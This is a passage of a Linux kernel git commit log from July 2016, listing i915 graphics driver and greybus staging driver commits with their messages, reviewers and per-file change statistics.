http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-10-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-9-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.c | 26 ++++---------------------- drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_gem.c | 23 ++++++++++++++++++++++- drivers/gpu/drm/i915/i915_gem_context.c | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 6 +++--- 7 files changed, 34 insertions(+), 30 deletions(-) commit f2f0ed718bc9d7587490ab0369a1091542d6c1f3 Author: Chris Wilson Date: Wed Jul 20 13:31:56 2016 +0100 drm/i915: Rename ring->virtual_start as ring->vaddr Just a different colour to better match virtual addresses elsewhere. s/ring->virtual_start/ring->vaddr/ Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-9-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Dave Gordon Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-8-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_irq.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 11 +++++------ drivers/gpu/drm/i915/intel_ringbuffer.h | 4 ++-- 3 files changed, 8 insertions(+), 9 deletions(-) commit 406ea8d22f9aeee6b484b35241ea5195c3af66a6 Author: Chris Wilson Date: Wed Jul 20 13:31:55 2016 +0100 drm/i915: Treat ringbuffer writes as write to normal memory Ringbuffers are now being written to either through LLC or WC paths, so treating them as simply iomem is no longer adequate. However, for the older !llc hardware, the hardware is documentated as treating the TAIL register update as serialising, so we can relax the barriers when filling the rings (but even if it were not, it is still an uncached register write and so serialising anyway.). For simplicity, let's ignore the iomem annotation. v2: Remove iomem from ringbuffer->virtual_address v3: And for good measure add iomem elsewhere to keep sparse happy Signed-off-by: Chris Wilson Reviewed-by: Ville Syrjälä #v2 Link: http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-8-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-7-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_gtt.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_gtt.h | 1 + drivers/gpu/drm/i915/i915_irq.c | 10 ++++++---- drivers/gpu/drm/i915/intel_fbdev.c | 2 +- drivers/gpu/drm/i915/intel_lrc.h | 6 +++--- drivers/gpu/drm/i915/intel_ringbuffer.c | 3 ++- drivers/gpu/drm/i915/intel_ringbuffer.h | 28 ++++++++++++++++++++-------- 7 files changed, 35 insertions(+), 19 deletions(-) commit 34911fd30c6183036de67aa96e2c5a74cd43c9cf Author: Chris Wilson Date: Wed Jul 20 13:31:54 2016 +0100 drm/i915: Rename drm_gem_object_unreference_unlocked in preparation for lockless free Whilst this ultimately wraps kref_put_mutex(), our goal here is the lockless variant, so keep the _unlocked() suffix until we need it no more. s/drm_gem_object_unreference_unlocked/i915_gem_object_put_unlocked/ Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-7-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-6-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 10 ++++++++++ drivers/gpu/drm/i915/i915_gem.c | 10 +++++----- drivers/gpu/drm/i915/i915_gem_tiling.c | 2 +- drivers/gpu/drm/i915/i915_gem_userptr.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 6 +++--- drivers/gpu/drm/i915/intel_overlay.c | 2 +- drivers/gpu/drm/i915/intel_pm.c | 2 +- 7 files changed, 22 insertions(+), 12 deletions(-) commit f8c417cdb1b83c41520980af0bdc86e3951850b8 Author: Chris Wilson Date: Wed Jul 20 13:31:53 2016 +0100 drm/i915: Rename drm_gem_object_unreference in preparation for lockless free Ultimately wraps kref_put(), so adopt its nomenclature for consistency with other subsystems. s/drm_gem_object_unreference/i915_gem_object_put/ Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-6-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-5-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 10 ++++++++++ drivers/gpu/drm/i915/i915_gem.c | 26 +++++++++++++------------- drivers/gpu/drm/i915/i915_gem_batch_pool.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_context.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_evict.c | 7 ++++--- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 6 +++--- drivers/gpu/drm/i915/i915_gem_render_state.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_shrinker.c | 2 +- drivers/gpu/drm/i915/i915_gem_stolen.c | 2 +- drivers/gpu/drm/i915/i915_gem_tiling.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_userptr.c | 4 ++-- drivers/gpu/drm/i915/i915_guc_submission.c | 6 +++--- drivers/gpu/drm/i915/intel_display.c | 6 +++--- drivers/gpu/drm/i915/intel_fbdev.c | 2 +- drivers/gpu/drm/i915/intel_guc_loader.c | 4 ++-- drivers/gpu/drm/i915/intel_lrc.c | 6 +++--- drivers/gpu/drm/i915/intel_overlay.c | 8 ++++---- drivers/gpu/drm/i915/intel_ringbuffer.c | 14 +++++++------- 18 files changed, 65 insertions(+), 54 deletions(-) commit 25dc556a2a0a2747cf3651462076d86410bd6b90 Author: Chris Wilson Date: Wed Jul 20 13:31:52 2016 +0100 drm/i915: Wrap drm_gem_object_reference in i915_gem_object_get Ultimately wraps kref_get(), so adopt its nomenclature for consistency with other subsystems. s/drm_gem_object_reference/i915_gem_object_get/ Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-5-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Dave Gordon Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 11 +++++++++++ drivers/gpu/drm/i915/i915_gem.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_dmabuf.c | 3 +-- drivers/gpu/drm/i915/i915_gem_evict.c | 2 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_shrinker.c | 2 +- drivers/gpu/drm/i915/i915_gem_userptr.c | 3 +-- drivers/gpu/drm/i915/intel_display.c | 3 +-- 8 files changed, 20 insertions(+), 12 deletions(-) commit 03ac0642f67a3a888bf82b1042c07d5df2b52a89 Author: Chris Wilson Date: Wed Jul 20 13:31:51 2016 +0100 drm/i915: Wrap drm_gem_object_lookup in i915_gem_object_lookup For symmetry with a forthcoming i915_gem_object_get() and i915_gem_object_put(). Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-4-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Dave Gordon Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 20 +++++++++++- drivers/gpu/drm/i915/i915_gem.c | 58 +++++++++++++++++----------------- drivers/gpu/drm/i915/i915_gem_tiling.c | 8 ++--- drivers/gpu/drm/i915/intel_display.c | 4 +-- drivers/gpu/drm/i915/intel_overlay.c | 5 ++- 5 files changed, 56 insertions(+), 39 deletions(-) commit 9a6feaf0d74f91eeef23d0ee72c5ce69a559b31b Author: Chris Wilson Date: Wed Jul 20 13:31:50 2016 +0100 drm/i915: Rename i915_gem_context_reference/unreference() As these are wrappers around kref_get/kref_put() it is preferable to follow the naming convention and use the same verb get/put in our wrapper names for manipulating a reference to the context. s/i915_gem_context_reference/i915_gem_context_get/ s/i915_gem_context_unreference/i915_gem_context_put/ Signed-off-by: Chris Wilson Cc: Tvrtko Ursulin Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-3-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 6 ++++-- drivers/gpu/drm/i915/i915_gem_context.c | 22 ++++++++++------------ drivers/gpu/drm/i915/i915_gem_execbuffer.c | 6 +++--- drivers/gpu/drm/i915/i915_gem_request.c | 7 +++---- drivers/gpu/drm/i915/intel_lrc.c | 4 ++-- drivers/gpu/drm/i915/intel_ringbuffer.c | 4 ++-- 6 files changed, 24 insertions(+), 25 deletions(-) commit e8a261ea639998d79dee78220098b25f38801bcb Author: Chris Wilson Date: Wed Jul 20 13:31:49 2016 +0100 drm/i915: Rename request reference/unreference to get/put Now that we derive requests from struct fence, swap over to its nomenclature for references. It's shorter and more idiomatic across the kernel. s/i915_gem_request_reference/i915_gem_request_get/ s/i915_gem_request_unreference/i915_gem_request_put/ Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1469005202-9659-2-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1469017917-15134-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 14 +++++++------- drivers/gpu/drm/i915/i915_gem_request.c | 2 +- drivers/gpu/drm/i915/i915_gem_request.h | 8 ++++---- drivers/gpu/drm/i915/i915_gem_userptr.c | 4 ++-- drivers/gpu/drm/i915/intel_breadcrumbs.c | 4 ++-- drivers/gpu/drm/i915/intel_display.c | 5 ++--- drivers/gpu/drm/i915/intel_lrc.c | 10 +++++----- drivers/gpu/drm/i915/intel_pm.c | 5 ++--- 8 files changed, 25 insertions(+), 27 deletions(-) commit c13d87ea53851880ab117f23a3e4fde1645da472 Author: Chris Wilson Date: Wed Jul 20 09:21:15 2016 +0100 drm/i915: Wait on external rendering for GEM objects When transitioning to the GTT or CPU domain we wait on all rendering from i915 to complete (with the optimisation of allowing concurrent read access by both the GPU and client). We don't yet ensure all rendering from third parties (tracked by implicit fences on the dma-buf) is complete. Since implicitly tracked rendering by third parties will ignore our cache-domain tracking, we have to always wait upon rendering from third-parties when transitioning to direct access to the backing store. We still rely on clients notifying us of cache domain changes (i.e. they need to move to the GTT read or write domain after doing a CPU access before letting the third party render again). v2: This introduces a potential WARN_ON into i915_gem_object_free() as the current i915_vma_unbind() calls i915_gem_object_wait_rendering(). To hit this path we first need to render with the GPU, have a dma-buf attached with an unsignaled fence and then interrupt the wait. It does get fixed later in the series (when i915_vma_unbind() only waits on the active VMA and not all, including third-party, rendering. To offset that risk, use the __i915_vma_unbind_no_wait hack. Testcase: igt/prime_vgem/basic-fence-read Testcase: igt/prime_vgem/basic-fence-mmap Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469002875-2335-8-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 44 ++++++++++++++++++++++++++--------------- 1 file changed, 28 insertions(+), 16 deletions(-) commit 30bc06c0fa99a09d1132a2a5dec4bdf27426916f Author: Chris Wilson Date: Wed Jul 20 09:21:14 2016 +0100 drm/i915: Mark imported dma-buf objects as being coherent A foreign dma-buf does not share our cache domain tracking, and we rely on the producer ensuring cache coherency. Marking them as being in the CPU domain is incorrect. v2: Add commentary about the GTT domain. This is not the best place for it, but pending an actual overhaul of our domain tracking and explaining each one, this comment should help the next reader... Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469002875-2335-7-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_dmabuf.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 197be2ae8b0f3e5f7893b806d7aa01acdb3b45d8 Author: Chris Wilson Date: Wed Jul 20 09:21:13 2016 +0100 drm/i915: Disable waitboosting for mmioflips/semaphores Since commit a6f766f39751 ("drm/i915: Limit ring synchronisation (sw sempahores) RPS boosts") and commit bcafc4e38b6a ("drm/i915: Limit mmio flip RPS boosts") we have limited the waitboosting for semaphores and flips. Ideally we do not want to boost in either of these instances as no userspace consumer is waiting upon the results (though a userspace producer may be stalled trying to submit an execbuf - but in this case the producer is being throttled due to the engine being saturated with work). With the introduction of NO_WAITBOOST in the previous patch, we can finally disable these needless boosts. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1469002875-2335-6-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 8 +------- drivers/gpu/drm/i915/i915_drv.h | 2 -- drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 2 +- drivers/gpu/drm/i915/intel_pm.c | 2 -- 5 files changed, 3 insertions(+), 13 deletions(-) commit 42df271439f77a06f4f0034d819fbb6f9c36f834 Author: Chris Wilson Date: Wed Jul 20 09:21:12 2016 +0100 drm/i915: Disable waitboosting for fence_wait() We want to restrict waitboosting to known process contexts, where we can track which clients are receiving waitboosts and prevent excessive power wasting. For fence_wait() we do not have any client tracking and so that leaves it open to abuse. v2: Hide the IS_ERR_OR_NULL testing for special clients Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1469002875-2335-5-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 7 ++++--- drivers/gpu/drm/i915/i915_gem_request.h | 3 +++ 2 files changed, 7 insertions(+), 3 deletions(-) commit 04769652c8c7ad4779a4b943dcf889a2020226f4 Author: Chris Wilson Date: Wed Jul 20 09:21:11 2016 +0100 drm/i915: Derive GEM requests from dma-fence dma-buf provides a generic fence class for interoperation between drivers. Internally we use the request structure as a fence, and so with only a little bit of interfacing we can rebase those requests on top of dma-buf fences. This will allow us, in the future, to pass those fences back to userspace or between drivers. v2: The fence_context needs to be globally unique, not just unique to this device. Signed-off-by: Chris Wilson Cc: Jesse Barnes Cc: Daniel Vetter Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1469002875-2335-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_gem_request.c | 113 ++++++++++++++++++++++++++--- drivers/gpu/drm/i915/i915_gem_request.h | 43 +++++++---- drivers/gpu/drm/i915/i915_gpu_error.c | 2 +- drivers/gpu/drm/i915/i915_guc_submission.c | 4 +- drivers/gpu/drm/i915/i915_trace.h | 10 +-- drivers/gpu/drm/i915/intel_breadcrumbs.c | 7 +- drivers/gpu/drm/i915/intel_engine_cs.c | 2 + drivers/gpu/drm/i915/intel_lrc.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 10 +-- drivers/gpu/drm/i915/intel_ringbuffer.h | 1 + 11 files changed, 150 insertions(+), 46 deletions(-) commit c4b0930bf418d5fab1d75ab462f0a7ff155f1b33 Author: Chris Wilson Date: Wed Jul 20 09:21:10 2016 +0100 drm/i915: Mark all current requests as complete before resetting them Following a GPU reset upon hang, we retire all the requests and then mark them all as complete. If we mark them as complete first, we both keep the normal retirement order (completed first then retired) and provide a small optimisation for concurrent lookups. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1469002875-2335-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 9b5f4e5ed6fd58390ecad3772b80936357f1aba6 Author: Chris Wilson Date: Wed Jul 20 09:21:09 2016 +0100 drm/i915: Retire oldest completed request before allocating next In order to keep the memory allocated for requests reasonably tight, try to reuse the oldest request (so long as it is completed and has no external references) for the next allocation. v2: Throw in a comment to hopefully make sure no one mistakes the optimistic retirement of the oldest request for simply stealing it. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1469002875-2335-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 05235c535404b79aa224bb63dfc7262aac95b7e4 Author: Chris Wilson Date: Wed Jul 20 09:21:08 2016 +0100 drm/i915: Move GEM request routines to i915_gem_request.c Migrate the request operations out of the main body of i915_gem.c and into their own C file for easier expansion. v2: Move __i915_add_request() across as well Signed-off-by: Chris Wilson Acked-by: Mika Kuoppala Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469002875-2335-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/Makefile | 1 + drivers/gpu/drm/i915/i915_drv.h | 209 +--------- drivers/gpu/drm/i915/i915_gem.c | 655 +------------------------------ drivers/gpu/drm/i915/i915_gem_request.c | 658 ++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/i915_gem_request.h | 238 ++++++++++++ 5 files changed, 905 insertions(+), 856 deletions(-) commit 6633d80afbeecd91d5d786d6fbb32cdb8bc0a567 Author: Johan Hovold Date: Tue Jul 19 15:24:50 2016 +0200 greybus: module: suppress activation error message for dummy interfaces We currently handle dummy interfaces by deactivating them using activation error paths, but we don't want the corresponding module_inserted error message to be printed. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit c80a982fc1f8b2b1546c4b2acc08ffd543f6f6c5 Author: Johan Hovold Date: Tue Jul 19 15:24:49 2016 +0200 greybus: interface: amend interface registration message Amend the interface registration message with the detected interface type, and only print the Ara VID/PID and DDBL1 attributes for the types for which they exist. Also drop the now redundant message about a detected dummy interface from the activate operation helper. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) commit 835642526e9310d435cc718cdb69f2fcd7a53b84 Author: Johan Hovold Date: Tue Jul 19 15:24:48 2016 +0200 greybus: interface: make attributes type dependent Make most interface attributes type dependent (e.g only UniPro and Greybus interfaces should have a DDBL1 Manufacturer ID attribute). Note that the power attributes (e.g. current_now) will only be visible for UniPro- and Greybus-type interfaces (i.e. interfaces that can draw power). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 47 +++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) commit 441ac1fa9ecdccf9d54803e2548464ca83ad8514 Author: Johan Hovold Date: Tue Jul 19 15:24:47 2016 +0200 greybus: interface: partition attribute group Partition the current attribute group into four groups for UniPro, Greybus, power and common attributes. This is a step in refining the interface-type handling as attributes are type dependent. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 41 ++++++++++++++++++++++++++++++++++--- 1 file changed, 38 insertions(+), 3 deletions(-) commit 1bb61840c4db64e27f0077dcfc5389e662022d40 Author: Johan Hovold Date: Tue Jul 19 15:24:46 2016 +0200 greybus: interface: add interface-type attribute Add an interface-type string attribute that represents the detected interface type as either "dummy", "unipro", "greybus", or "unknown". Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Reviewed-by: Sandeep Patil Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 8 +++++++ drivers/staging/greybus/interface.c | 25 ++++++++++++++++++++++ drivers/staging/greybus/interface.h | 1 + 3 files changed, 34 insertions(+) commit d29b67d44a7cf6d02e7319c0e5a4b729a0aa00e7 Author: Vaibhav Hiremath Date: Tue Jul 19 13:31:46 2016 +0530 greybus: arche-platform: Add support for init-off feature Disable wake_detect interrupt after request As part of SW-4344/SW-7061, now we are enabling FW flashing to all builds. That means check for need of FW upgrade is going to be present in all builds, and moving to FW_FlASHING mode from active is heavy operation; so the idea here is simplify this process and save the boot time due to switching back-n-forth between ACTIVE<=>FW_FLASHING modes. So we decided to put unipro into OFF state by default on boot, which can be changed through DT property. If arche-platform device node has "arche,init-off" property set, then unipro will be in OFF state on boot. User can bring it back by # echo active > /sys/devices/arche_platform*/state And to simply the exit code of probe() fn the arche_platform_coldboot_seq() has been shifted to the bottom of the _probe() fn. Testing Done: Tested on EVT2 platform, with and without "arche,init-off" property, multiple times. Note: I am seeing SW-7128, which is not related to these changes. Signed-off-by: Vaibhav Hiremath Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) commit 042fd749abab492ae02452cf675f7bc146814955 Author: Johan Hovold Date: Tue Jul 19 17:21:27 2016 +0200 greybus: connection: drop the svc quiescing operation Connection tear down is being reworked, and the SVC quiescing operation is going away. Let's remove this operation now along with the coupled second ping from our intermediate tear down implementation. This both avoids unnecessary noise in the logs resulting from the fact that the SVC side of the quiescing operation was never merged, and speeds up connection tear down slightly. Testing done: Tested on EVT2 using runtime PM. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 19 ------------------ drivers/staging/greybus/greybus_protocols.h | 12 ----------- drivers/staging/greybus/svc.c | 31 ----------------------------- drivers/staging/greybus/svc.h | 2 -- 4 files changed, 64 deletions(-) commit d53cc1c37e5a4006fb23df8e54dc4a50e01732d9 Author: Rui Miguel Silva Date: Tue Jul 19 15:41:30 2016 +0100 greybus: sdio: add switch voltage operation Core sd/mmc needs the start_signal_voltage_switch operation to be defined to issue a voltage switch command. So, we define it here even though we do not need to take in action on it, since all voltage control is done in the Module. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 484a4d667751148654277a3ec93b8f0a327da29d Author: Rui Miguel Silva Date: Tue Jul 19 15:41:29 2016 +0100 greybus: sdio: convert vdd kernel values to greybus We need to convert vdd kernel values to greybus ones. And we get this by shifting the kernel values by 8. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit fe993bc9582ff23c9a81414acdfed8e55478e456 Author: Rodrigo Vivi Date: Mon Jul 18 16:27:57 2016 -0700 drm/i915/guc: Revert "drm/i915/guc: enable GuC loading & submission by default" This reverts commit 041824ee25cfc535ba2d9a22c217df735ea2471e. We have latency issues that might impact the performance: #96606. and hangs and loading issues on resume after S4: #96526. This is also blocking a platform milestone so let's disable this for now while we make sure we don't have any more loading issue, or related basic hangs and it pass BAT for real in all platofmrs. In case BAT is wrong let's first fix BAT before re-enable it here. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=96606 Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=96526 Cc: Chris Wilson Cc: Dave Gordon Cc: Tvrtko Ursulin Cc: Stable Cc: Jani Nikula Cc: Christophe Prigent Signed-off-by: Rodrigo Vivi Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468884477-30086-1-git-send-email-rodrigo.vivi@intel.com drivers/gpu/drm/i915/i915_params.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 56c78715eaaeba41317a82dc91a037cbbea16736 Author: Viresh Kumar Date: Sat Jul 16 09:57:30 2016 -0700 greybus: bootrom: Use "s2l" instead of boot stage in package name The S3 firmware and S3-BFU firmware images will be named like this going forward: S3: ara_00000126_00001001_fffe0001_ffe70018_s3f.tftf S3-BFU: ara_00000126_00001001_fffe0001_ffe70018_s3_bfu.tftf But the current naming for S2 loader image is: ara_00000126_00001001_fffe0001_ffe70018_02.tftf It makes sense to use similar encoding for all three packages and so it should be named as: ara_00000126_00001001_fffe0001_ffe70018_s2l.tftf Because the boot stage is passed from ES3 bootrom, we can't change its value now. But the string created to match the package name is created in bootrom.c and that is the only string we create from bootrom.c. Update bootrom.c to use "s2l" instead of "02" in the package name. Compile Tested only. Signed-off-by: Viresh Kumar Tested-by: Karthik Ravi Shankar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 52764bd8aac77dd8ddbdaf55ae896a55ab2a9f5e Author: Bryan O'Donoghue Date: Tue Jul 19 01:56:49 2016 +0100 greybus: timesync: Bugfix ping should not result in -EAGAIN gb_timesync_schedule_synchronous() is currently making a synchronous FrameTime synchronization happen. It does a wait_event_interruptible() and then goes to check the status of the state-machine. Occasionally the state indicates PING - which is a completely valid state and should result in a result code of 0 not -EAGAIN. This patch fixes by making __gb_timesync_get_status() return 0 instead of -EAGAIN for the PING state. Signed-off-by: Bryan O'Donoghue Tested-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3373ce2eccd56651579b1864fecf98b46fd1cb67 Author: Imre Deak Date: Fri Jul 1 17:32:08 2016 +0300 drm/i915: Give proper names to MOCS entries The purpose for each MOCS entry isn't well defined atm. Defining these is important to remove any uncertainty about the use of these entries for example in terms of performance and GPU/CPU coherency. Suggested by Ville. v4: - Rename I915_MOCS_AUTO to I915_MOCS_PTE. (Chris) CC: Rong R Yang CC: Yakui Zhao CC: Ville Syrjälä CC: Chris Wilson Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1467383528-16142-1-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/intel_mocs.c | 13 +++++++------ include/uapi/drm/i915_drm.h | 24 ++++++++++++++++++++++++ 2 files changed, 31 insertions(+), 6 deletions(-) commit 6bee14ed1e1136d700e5290c080e1145982ce43e Author: Imre Deak Date: Fri Jul 1 16:40:05 2016 +0300 drm/i915/bxt: Fix inadvertent CPU snooping due to incorrect MOCS config Setting a write-back cache policy in the MOCS entry definition also implies snooping, which has a considerable overhead. This is unexpected for a few reasons: - From user-space's point of view since it didn't want a coherent surface (it didn't set the buffer as such via the set caching IOCTL). - There is a separate MOCS entry field for snooping (which we never set). - This MOCS table is about caching in (e)LLC and there is no (e)LLC on BXT. There is a separate table for L3 cache control. Considering the above the current behavior of snooping looks like an unintentional side-effect of the WB setting. Changing it to be LLC-UC gets rid of the snooping without any ill-effects. For a coherent surface the application would use a separate MOCS entry at index 1 and call the set caching IOCTL to setup the PTE entries for the corresponding buffer to be snooped. In the future we could also add a new MOCS entry for coherent surfaces. This resulted in 70% improvement in synthetic texturing benchmarks. Kudos to Valtteri Rantala, Eero Tamminen and Michael T Frederick and Ville who helped to narrow the source of problem to the kernel and to the snooping behaviour in particular. With a follow-up change to adjust the 3rd entry value igt/gem_mocs_settings is passing after this change. v2: - Rebase on v2 of patch 1/2. v3: - Set the entry as LLC uncached instead of PTE-passthrough. This way we also keep snooping disabled, but we also make the cacheability/ coherency setting indepent of the PTE which is managed by the kernel. (Chris) CC: Rong R Yang CC: Yakui Zhao CC: Valtteri Rantala CC: Eero Tamminen CC: Michael T Frederick CC: Ville Syrjälä CC: Chris Wilson Signed-off-by: Imre Deak Acked-by: Zhao Yakui Tested-by: Rong R Yang Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1467380406-11954-3-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/intel_mocs.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e419899b7c19ef99e340e2b1ba585d82fd28c53b Author: Imre Deak Date: Fri Jul 1 16:40:04 2016 +0300 drm/i915/gen9: Clean up MOCS table definitions Use named struct initializers for clarity. Also fix the target cache definition to reflect its role in GEN9 onwards. On GEN8 a TC value of 0 meant ELLC but on GEN9+ it means the TC and LRU controls are taken from the PTE. No functional change, igt/gem_mocs_settings still passing after this change. v2: (Chris) - Add back the hexa literals for the entries. Add note that igt/gem_mocs_settings still passes. CC: Rong R Yang CC: Yakui Zhao CC: Chris Wilson Signed-off-by: Imre Deak Acked-by: Zhao Yakui Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1467380406-11954-2-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/intel_mocs.c | 88 +++++++++++++++++++++++++++------------ 1 file changed, 61 insertions(+), 27 deletions(-) commit 62f90b38f3326206ea53f7cf4ea4616028419d60 Author: Daniel Vetter Date: Fri Jul 15 21:48:07 2016 +0200 drm/i915: Update missing kerneldoc Not sure why so much slips through when 0day is catching these. Hopefully the much faster sphinx toolchain helps in unlazying people. Acked-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468612088-9721-10-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/i915_vgpu.c | 3 ++- drivers/gpu/drm/i915/intel_fbc.c | 2 ++ drivers/gpu/drm/i915/intel_hotplug.c | 1 - 4 files changed, 5 insertions(+), 3 deletions(-) commit 6e5248b53fda0dc61227b1c560897beb36d22225 Author: Daniel Vetter Date: Fri Jul 15 